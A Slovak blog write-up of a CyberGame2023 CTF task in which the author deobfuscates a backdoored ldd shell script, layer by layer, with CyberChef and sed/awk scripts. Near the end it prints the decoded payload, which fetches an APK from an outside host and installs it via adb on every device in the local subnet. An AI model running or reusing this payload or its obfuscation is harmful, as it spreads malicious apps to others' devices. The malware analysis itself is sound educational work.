25. 5. 2023

CTF - CyberGame2023 - Mysterious Application

Túto tému som síce neprešiel, avšak dešifrovanie prvej úlohy bez jej spustenia mi dalo celkom zabrať. Tu je výsledok snaženia, pochopenie tohto konkrétneho typu obfuskácie.

1. Way in

Viacerí ľudia hlásia záhadnú aplikáciu vo svojom telefóne, po prvej analýze sme zistili, že v ich systéme bol v jednom zo súborov hash sum mismatch.

Tu máš súbor na analýzu. https://drive.google.com/file/d/.....

Stiahnem a rozbalím zo súboru ldd.tar súbor ldd. Vyzerá to byť klasický ldd shell skript, ktorý je súčasťou linuxových distribúcií. Vypisuje zdieľané knižnice (.so súbory), ktoré program zadaný ako parameter používa.
Tento skript má však na konci pridanú obfuskovanú funkciu "fun".



1.1 obfuskácia base64

Funkcia fun je zjavne obfuskovaná a nebude bežnou súčasťou LDD skriptu. Zo zaujímavosti, tento kód bol zjavne vygenerovaný skriptom bashfuscator.

Čas na dešifrovanie. Tento 23KB blok dát začína takto:
fun() {
${@,,} ${!*} ""e""'v'al "$( ${@#Npx0} "${@%%-~r,}" ${@#9b>G6o#B}p""r\i''n\t""$*f %s ' } OH"\ZK&UT/I&q7/@{$ ") }@!{$ }@!\OM?/*{$ }>voF~W`\u/x*hof=I//@{$ "}~~d4_hf{$" s% '"' "'f461\'"'"'$n'"'"''"'"'irp}L@H;##*{$ }rj#p<xgB/>Rp4$//*{$ && },*{$ }(\39]\fXl##*{$ '"'"' }~~*{$ ") },,*{$ C- "2"P}vn^4/@{$IZN}~~*{$'"'"'"'"'"'"'"'"''"'"'"'"'"'"'"'"'UB }HDG+% //@ {$ };@Ye*1vn/^%$9/*{$ | "}PcZxjn<@/6)\sp%cn/@{$" D- 46E\SA""B }J^)\+y%%@{$ | }~~@{$ "}^^@{$"'"'"'"'"'"'"'"'"'==aG2B5BoGekCksUl+/T0FxbHSGIuSifqbmfQ7acqriSaasbjSGKqkbsDhuekifPiqkijlybfKci lOOGfjfuW2qG8++t/2p2saQ+eYIuqsksYIKqkiqbbwajPGeOiRcybzrsGIKIvbfSGWcybzjjS6pqceGQ9Ja
Na konci bloku to vyzerá takto:
ElFZrwtzswbftoOPLq'"'"'"'"'"'"'"'"'  F\TN'"'"'"'"'"'"'"'"'I27X\'"'"'"'"'"'"'"'"'$P\ }Pwu5mk-/%ufV
&wv.//@{$     ($" L'"'"'"'"'"'"'"'"'141\'"'"'"'"'"'"'"'"'$""V'"'"'"'"'"'"'"'"''"'"'"'"'"'"'"'"'E }
,*{$ }S"\[\rD)\tI%%*{$   '"'"'=d4_hf   ($"  l"},@{$"'"'"'a'"'"''"'"''"'"'ve}~~*{$""  },@{$ '   "${@,,}"
${*,,}  |  ${@/aM~:I8/\{G\]@\"V} ${*}  r${*//TWbR5Ckd/nFtLQi}e\v   "${@,,}"    ${*~~}    )"   ${*~} ${*//4Kv<?J}
}
fun


V obfuskovanom bloku sú viaceré zaujímavosti:
  • používa kombinácie úvodzoviek a apostrofov, ako prázdnych reťazcov pre zneprehľadnenie
  • hneď na začiatku vidieť "eval" a kúsok za ním "printf" obfuskovaný okolitými znakmi ako "vatou"
  • neskôr vidieť "f461\nirp" a "D- 46E\SAB" reťazce
  • po neskoršom hľadaní vidieť aj čosi ako "C- 2P....IZN......UB"
  • veľký blok hustých dát začína znakmi "=="
Blok dát vyzerá ako klasické zamaskovanie reťazcov do "base64", avšak po presune do CyberChef preklad nič rozumného nevrátil.
Znaky rovná sa dorovnávajú base64 reťazec na deliteľný 4 bajtami na jeho konci. Je to dôsledok prekladu medzi 8 a 6 bitmi na znak.
Máme teda obrátené poradie bloku base64, avšak ani obrátenie nepostačilo na preklad do čitateľnej formy.
Ako vidieť na príkaze "D- 46E\SAB", tak má malé písmená zmenené na veľké, skúsim teda obrátiť veľkosti písmen. Toto síce nevyzerá čitateľne, ale ak existuje niečo ako bunzip2, mohol by to skúsiť rozbaliť.

Môžeme teda skúsiť dekódovať tento blok. Máme možnosť blok uložiť ako súbor a v CyberChef použiť funkcie:

1. reverse (by character)
2. from base64  (zamenime A-Za-z0-9 za a-zA-Z0-9)
3. bzip2 decompress

alebo shell:
cat vystup2.bin | tr '[:upper:][:lower:]' '[:lower:][:upper:]' | rev | base64 -d | bunzip2 -c

Po rozbalení archívu vznikne opäť obfuskovaný kód, tento krát s podčiarkovníkmi a o veľkosti neuveriteľných 832KB.


1.2 obfuskácia podčiarkovníky


Ukážka podčiarkovníkového kódu:
_____[$_______________________$__________________________$_____________]=${_____[$____________
____]}${_____[$__________________$__________________]}${_____[$_______$_______]}${_____[$_______$______
________]}${_____[$______$______]}${_____[$______$____]}&&_____[$_______$____$_________________
_________]=${_____[$________________]}${_____[$__________________$__________________________]}${_____[$
_______$__________________]}${_____[$_______$____________________]}${_____[$______$__________________]}
${_____[$______$____]};_____[$______$_______$____________________]=${_____[$________________]}${_____[$
__________________$__________________________]}${_____[$_______$_______]}${_____[$_______$_____________
__________]}${_____[$______$__________________________]}${_____[$______$____]};_____[$_________________
_$_______$_______________________$____]=${_____[$________________]}${_____[$__________________$________
______]}${_____[$__________________$____]}${_____[$_______$____]}${_____[$______$______________]}${____
_[$______$____]};_____[$__________________$_______$_______________________
Hľadal som tento typ obfuskácie a jedinú poznámku k takémuto kódu som našiel na stránke so súťažou o najdivnejší hello world kód, príspevok od Digital Trauma s nadpisom "bash" a 33 hlasmi: https://codegolf.stackexchange.com/questions/22533/weirdest-obfuscated-hello-world

Vyzerá to tak, že podčiarkovníky rôznej dĺžky sú rôzne premenné.
Teda z tohto šialenstva spravím o trochu menšie, ak nahradím názvy premenných číselnými ( $v01 , $v02 atď ).
Aby som vedel s ako dlhými názvami mám česť, použil som grep s opakujúcim podtrhovníkom, najväčší počet za sebou, ktoré niečo vrátil, bolo 30ks.

Tak napíšem konverzný skript:
cat vystup3.bin |
sed -e 's/______________________________/v30/g' |
sed -e 's/_____________________________/v29/g' |
sed -e 's/____________________________/v28/g' |
sed -e 's/___________________________/v27/g' |
sed -e 's/__________________________/v26/g' |
sed -e 's/_________________________/v25/g' |
sed -e 's/________________________/v24/g' |
sed -e 's/_______________________/v23/g' |
sed -e 's/______________________/v22/g' |
sed -e 's/_____________________/v21/g' |
sed -e 's/____________________/v20/g' |
sed -e 's/___________________/v19/g' |
sed -e 's/__________________/v18/g' |
sed -e 's/_________________/v17/g' |
sed -e 's/________________/v16/g' |
sed -e 's/_______________/v15/g' |
sed -e 's/______________/v14/g' |
sed -e 's/_____________/v13/g' |
sed -e 's/____________/v12/g' |
sed -e 's/___________/v11/g' |
sed -e 's/__________/v10/g' |
sed -e 's/_________/v09/g' |
sed -e 's/________/v08/g' |
sed -e 's/_______/v07/g' |
sed -e 's/______/v06/g' |
sed -e 's/_____/v05/g' |
sed -e 's/____/v04/g' |
sed -e 's/___/v03/g' |
sed -e 's/__/v02/g' |
sed -e 's/_/v01/g' |
sed -e 's/\&\&/\n/g' |
sed -e 's/;/\;\n/g' > vystup4.bin
Pri tejto príležitosti som zamenil "&&" a bodkočiarky za entery, nech mám príkaz na riadok, nie jeden riadok pre celý kód.

Po konverzií vidím kód ktorý sa skladá z rôznych blokov (zjavne skriptom generovaných).
Prvý blok vygeneruje cifry 0-9, poprideľované sú náhodne rôzne dĺžky podčiarkovníkov, číslo nesedí s počtom.
(  v10=`v01(){ :; }; v01`
v26=$((v10++))
((v18=v10++))
v07=$[v10++];
((v06=v10++));
v14=$((v10++));
((v20=v10++));
((v23=v10++))
v04=$((v10++));
v13=$((v10++))
v16=$((v10++))
v21=(/????/$$/????);
Premenná v10 je prvým príkazom naplnená prázdna. Následne pri prideľovaní do v26 sa zvýši o 1, teda bash ju skonvertuje na číslo "0", pridelí do premennej v26 a potom zvýši o 1.
Do premennej v18 pridelí cifru "1". Pokračuje až do premennej v16, ktorú naplní cifrou "9".
Pre zaujímavosť, do v21 pridelí cestu k súboru /proc/číslo_akt_procesu/attr, takto sa dopracuje k pár písmenám potrebných neskôr.
Tieto číslice (cifry) sa použijú napr. ako indexy poľa.

Spravíme teda ďalší konverzný skript:
cat vystup4.bin |
sed -e 's/\$v26/0/g' |
sed -e 's/\$v18/1/g' |
sed -e 's/\$v07/2/g' |
sed -e 's/\$v06/3/g' |
sed -e 's/\$v14/4/g' |
sed -e 's/\$v20/5/g' |
sed -e 's/\$v23/6/g' |
sed -e 's/\$v04/7/g' |
sed -e 's/\$v13/8/g' |
sed -e 's/\$v16/9/g' > vystup42

Pole (v05[]) sa napĺňa najskôr 1-4 cifernými indexami, predpokladám bojuje s rôznymi potrebnými písmenami pre vyskladanie príkazov.

Asi v 1/3 súboru prechádza na záverečný typ riadkov, kde ľavá strana s náhodnými číslami vygeneruje príkaz printf, pravá strana obsahuje binárny obsah výstupu, ktorý sa spojí a na záver vykoná.
${v05[1038]} "\\175";
${v05[352]} "\\${v05[8]}20"; ${v05[988]} "\\40"; ${v05[1795]} "\\40" ${v05[1281]} "\\${v05[8]}20" ${v05[844]} "\\${v05[8]}20"; ${v05[1018]} "\\${v05[8]}29" ${v05[1462]} "\\${v05[8]}22"; ${v05[65]} "\\40"; ${v05[1192]} "\\44" ${v05[402]} "\\${v05[8]}40" ${v05[1055]} "\\${v05[8]}20";
Príklad riadkov posledných 2/3 súboru. Pole v05 tu v rôznych svojich prvkoch obsahuje ten istý príkaz pre výpis printf. Opakujúci sa prvok vo výstupe v05[8] obsahuje znak "x" použitý pri hexa čísliciach.

Pre vytiahnutie len posledných 2/3 (printf) príkazov použijem skript:
cat vystup42 | sed -e 's/;$//g' | grep \"$ | sed -e 's/\${v05\[8\]}/x/g' | awk '{ print "printf " $2 }' > vystup6

Skript najskôr odstráni bodkočiarky na koncoch riadkov (niesú všade), potom vyhľadá len riadky končiace úvodzovkami, zamení "x" a vypíše pred druhé slovo napevno príkaz printf.

Tento výstup očistím o smeti na začiatku a spustím s presmerovaním do súboru (./vystup6 > vystup7) a mám dešifrovaný kód. Teda takmer...


1.3 obfuskácia base64


Dejavu ? Áno, máme tu opäť náš obľúbený bashfuscator, avšak minule mal 23KB, teraz má 3KB. Takže poďme pozrieť, či vieme použiť rovnaký postup ako v 1.1.
"${@/y>Q$$</C\!Lu}" ${*/3MG=&/5DkZ}b""$'a\u0073h' ${!@} ${@%%%E;&TgH}  <<< "$(     ${!@} ""pri"n"tf 
%s ' }^*{$   ")   }n!\GI*Z/*{$ },*{$ ;   }^*{$  "@$"  "}~~t8fxJgZ{$"   s%   f'"'"''"'"'tni\r'"'"'061
\'"'"'$  }~@{$ }sx4OJ2%*{$ && },,*{$  }~ROq&%%*{$   '"'"' }~~*{$ HSAB"}nN`\`\<#@{$" 
*$ *$  |   }K&~;lqj##*{$   ")   }@{$  C-   2""P\"I"Z},*{$N'"'"'"'"'"'"'"'"'57X\B'"'"'"'"'"'"'"'"
'$  },@{$   |  }@!{$ D-   4},,*{$6""E'"'"'"'"'"'"'"'"'361\A'"'"'"'"'"'"'"'"'$B   "}^^@{$"   }aETZ]\/
*{$ |   },@{$  '"'"'"'"'"'"'"'"'==aHasrMaju4uKCx8FEDebs4K+3D83UZUo0IMbIwrvu2jvbfjtbqYCvqUHrhufa5Xj4p
UjPxruxbQNeaHuuNyo5643pHRHUdaQ4CeNSlkQgN4MGkGZ58I5rearhKbGLCeeHJ8ubmj1jNtrq8EVbsFaqAqZJxoqjFO/dcnveJ
eSqbzaecqSvuXceSaeBaWcrLTausGKTvuXwsi0keX2sIGTcsIIeIylqjincuhHcekrOMTniuaIeiybisiIecybiwiILOixXMra8E
V/bvFIcnXbQ3ZpabDddC8ciIgNFrf9foaBbacCjGOiGCpbvqbt/URtUgxtDHPnscoUwRl147zKXfgXsu5mBQU6MGnAgaHqjQc+oj
feSKEEOhbfIqIWo0B0tHeDk1Ht10mlYYEPaZgQlmfSTXRtYMn8kqiXbISqotB7rObvtsw0OK1nJrTPkvInBeQYLJcRIDga5Y0CHi
XvLc7iDMDukwajDM+UOmqbw+4xiLl4PEhiJQmqh52wfX5YY5e5zbTjo9mkhcmdQJRa5ZWPwCyLrslCshOKefRoxpB7eeKn9yPz8r
6fcwKepISh64fDLRLpnOa1KGjU2skMU1IoLYzQyvA5cZ6Mkcjgukri5jKcnvcuPHOKZkvoMKe01fmk0g01kISYufgcX2LUaTkccg
ekeIiQ0q9riysImeKe6zx1Io8nBIiM4YsAji9CrzDQTRpRd1tFyulEl65rHROx8mvcnijnq2MDUk21JJ3fBXgh2oHWvnIsNa150L
qHAi3WNwxDMq9gDAAxyQdRrw2DydaW59ITUgVKnHz2tgHfA3cah8+IdLDMIt5uxgM+s0AtE8aqssIxHKGKvKkjijuB1Iv0Iv6SuY
o0OyLuL0Rc0SPLScRiIio0AW1btfCwP7ZD1gu9sKJjLy2qR1AsjLvMfzHDR5R7Ui+hV8Pxr19NxpCfvTHOUUSHciifQQOvkeRbae
jrfXAv9d/SoEtWSHAR616z0XXFJJHt3vD5eauVOnRUDZUMrTZPtJ2fYRVdBDcukkkMaOdiLziWo7SIkpjbHiih+6Vpq3iREzugL+
ZH6Sxy1mBLNzjqrwPOrPRqyXyRPkBchIPR1Qjdx6ZUSbqabpqG7C4Z79f/2TNhJHvd7w+4WLo74VF/1DecbZrOaUkYnN8cNV5FPh
DFaE3NhNiD1GwmoUTDq3oysDq68G4nzRrfT+naWGTlC1xbTEfuEEo1nv06jyvaKxOjriJKesi5eEiAcMyIjQQQPLQIQIKGPIjOOz
cIMcckksMcIkQjsIIMPzOgckqGKKegbyKG46tRICmDS6wQOILtrfTTTFZocOh6+1ZEZx9ebheLksNRXZXX157fekyGkaTjUMN1jH
M9oZtaSb1swGOLRcGz0fOyjOyHcEE615AUEiZ5XWqnfEY3aWa2rTbcgUR136cWEZ88W7unlqcuxwl5bUTTeWDNOyF6awGGmmjsmG
kTsdeRB/24vjahXauROQ47C9wtC01AicH475eeGyi2qKg8n/oZV3jfyb2OUKAJKKmjZmHqiKKmIgULFNNipEzz1TLmZ4CoKKZVtq
me0kQ6ER37Cv878+ojzjZiP1sMG8TRNxidB1mRZ1jRU4uNYabtecac4GCao586UXZ7T1d4DgM2ye0GsVCj3Y2s4YfsH03oIxraIJ
ker237DwVxC9Q5YsKmzkh1sHmgYuHV5rssIAVobja3S3bqbagq0vvEDwZToo+oXtuSvrsbLcfkibQARrexGeYGzgfjq1g7PaDEid
1O34WBYZrZ44Cd95KziIjisKbP3640V3S+/+DD244FqrcemmS3duLsvbcsOOfcke1suGO0cfLwvkOLQaGnSBRWmmcZA1A5YvUPd6
qSY/nK/YhE1b+yxcsc56vwAukWllIWkbvplWSU8kKmknZq1etFTUO00Of55l2CDtyVVa2HcAhP9ENNHnWlQXESNCQ3EyVMEEEedz
p3NbPzkElz3vBFGxMFMVDpEYg6glES2JZ47i00YMnLNvSUehhpwwcBk45aviw3+3rFUG+3/j+JVI5FoD5YV0762SuwyjOq3exfeC
1Z7oeffXBEbaaaObAankfisebPhn1d1y0aObAk6zAidLuIas9daaGgzqJYgn1KPskeqdidAanza00ObayiMMgXeWeJaMyYujjf4P
gG0JgqJAtg1tatTjJuY0eYWgqp9EaaapBo804EqbDa+Ed7zcG5aaaa8daaaWFa4/Db82/+hG/7wcaecifzswtzswbftoOPLq'"'"
'"'"'"'"'"'"'   '"'"'"'"'"'"'"'"'641\T'"'"'"'"'"'"'"'"'$NIR""P "}A+NF.%%@{$"  }fZPR/=]\6_|fqS/@{$   
($"   S%   F'"'"'"'"'"'"'"'"'T'"'"'"'"'"'"'"'"''"'"'"'"'"'"'"'"'E6X\I'"'"'"'"'"'"'"'"'$""R\'"'"'"'"'
"'"'"'"'061\'"'"'"'"'"'"'"'"'$  }5g`\|:%%*{$  '"'"'=t8fxJgZ    ($"  <<< }<9I=Y#@{$   }QR
,i!\2)\E//*{$ HSAB$ "}d0S"\-i%%@{$" '   ${@%mlC7\(}  | ${@##ef#dlj}  ''r$'\u0065v'  "${@%%TfINgm}"  
"${@^}"      ${*^^}   ${@//ivV\`/\"sat}     )" $@
Tak pozrime sa na detaily:
blok base64 opäť začína znakmi rovná sa, je prevrátené poradie znakov
vidím BUNZIP2 -C, aj BASE64 -D, opäť sú zamenené veľké a malé písmená

Zoberiem teda opäť blok dát od rovná sa po apostrof, vložím do CyberChefa. Pridám postupne funkcie:
  • Reverse
  • From Base64  (opäť zamením a-zA-Z poradie)
  • Bzip2 Decompress
Po rozbalení máme hotovo, teda takmer...
Máme opäť podčiarkovníkový kód, avšak z 832KB sme na 81KB.


1.4 obfuskácia podčiarkovníky


Zúfalstvo, trieskanie hlavy o múr ? Určite.
Tak poďme si to skrátiť. Vidím rovnaký vzor, dáme teda najskôr konverziu podčiarkovníkov na premenné v01 až v30, zameňme bodkočiarky a && spájajúce príkazy za entery pre prehľadnosť.

Kód je takmer rovnaký, avšak má inak rozhádzané počty podčiarkovníkov. Z prvých riadkov - vyplňovačky cifier cez pripočítavanie 1, si vyskladám opäť konverzný skript:
cat vystup82 |
sed -e 's/\$v11/0/g' |
sed -e 's/\$v03/1/g' |
sed -e 's/\$v05/2/g' |
sed -e 's/\$v22/3/g' |
sed -e 's/\$v20/4/g' |
sed -e 's/\$v17/5/g' |
sed -e 's/\$v09/6/g' |
sed -e 's/\$v13/7/g' |
sed -e 's/\$v23/8/g' |
sed -e 's/\$v19/9/g' > vystup84

Po získaní a dekódovaní cifier v dátach, opäť vyfiltrujeme printf v posledných 2/3 kódu:

cat vystup84| sed -e 's/;$//g' | grep \"$ | sed -e 's/\${v10\[8\]}/x/g' | awk '{ print "printf " $2 }' > vystup85

Očistíme začiatok v skripte vystup85, aby sme ho mohli spustiť a presmerovať do súboru.

Výsledkom je vlajka a linka na pokračovanie v boji o ďalšiu vlajku.
get -o wikipedia.apk "https://int3.sk/wikipedia.apk"
IP=$(ip addr | grep 192 | awk '{print $2}' | cut -d'.' -f 1-3)
for i in {2..255}
do
  adb connect $IP.$i
  adb install wikipedia.apk "SK-CERT{1n574ll1ng_y0ur_4pp}"
  adb disconnect $IP.$i
done
Autorovi tohto zadania gratulujem k vyprovokovaniu k heroickému výkonu. Viac krát som mal chuť to jednoducho len spustiť.

Žiadne komentáre:

Zverejnenie komentára